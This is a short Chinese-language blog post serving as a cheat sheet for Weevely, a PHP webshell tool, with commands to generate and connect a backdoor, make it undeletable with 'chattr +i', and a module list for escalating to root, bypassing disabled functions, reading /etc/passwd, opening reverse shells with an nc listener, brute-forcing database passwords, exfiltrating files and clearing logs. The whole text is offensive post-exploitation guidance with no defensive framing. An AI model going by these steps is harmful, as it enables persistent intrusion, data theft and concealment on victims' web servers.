后门连接程序Weevely(Linux版菜刀)


开门见山,不多说废话

基础用法:

kali终端下输入:weevely
即可进入

①:生成后门脚本木马
weevely generate <password> <路径/名称>

②:连接后门脚本木马
weevely <后门木马URL> <password>

③:权限保持
chattr +i 后门文件名,如:webshell.php
(chattr +i = 不得任意更动文件或目录)


进阶用法:

注:虚拟终端模式下需要使用模块直接在前面加上冒号“:”
:shell_su 通过更变使用者来执行shell命令,可以获得root权限来执行命令.
:shell_sh 执行 shell 命令.
:shell_php 执行 PHP 命令.
:system_extensions 收集PHP和webserver扩展列表
:system_info 收集系统信息
:system_procs 列出正在运行的进程
:audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell
:audit_etcpasswd 查看/etc/passwd文件
:audit_suidsgid 查找带有SUID或SGID标志的文件。
:audit_phpconf 查看php配置信息
:audit_filesystem 审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等
:backdoor_reversetcp 执行反向TCP shell. 需要nc -lvp <port>监听
:backdoor_tcp 在TCP端口上生成shell
:net_scan TCP端口扫描.
:net_mail 发送邮件.
:net_ifconfig 获取网络接口地址.
:net_curl 执行类似curl的HTTP请求.
:net_proxy 运行本地代理以通过目标转移HTTP / HTTPS浏览
:net_phpproxy 在目标上安装PHP代理.
:bruteforce_sql 可用来猜解数据库密码.
:file_find 查找具有给定名称和属性的文件.
:file_download 从远程文件系统下载文件.
:file_check 获取文件的属性和权限.
:file_touch 更改文件时间戳.
:file_cd 更改当前工作目录.
:file_grep 打印与多个文件中的模式匹配的行.
:file_gzip 压缩或解压gzip文件.
:file_tar 压缩或解压tar文件.
:file_enum 检查路径列表的存在和权限
:file_bzip2 压缩或解压bzip2文件.
:file_mount 使用HTTPfs挂载远程文件系统.
:file_clearlog 从文件中删除字符串.
:file_zip 压缩或解压zip文件.
:file_cp 复制单个文件.
:file_upload2web 自动将文件上传到Web文件夹并获取相应的URL.
:file_edit 在本地编辑器上编辑远程文件.
:file_read 从远程文件系统中读取远程文件.
:file_webdownload 指定URL下载文件.
:file_upload 文件上载到远程文件系统.
:file_ls 列出目录内容.
:file_rm 删除远程文件.
:sql_dump Multi dbms mysqldump replacement.
:sql_console 执行SQL查询或运行sql控制台.


详细模块可参考:传送门

声明:苏茗鹿的空间|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接


Carpe Diem and Do what I like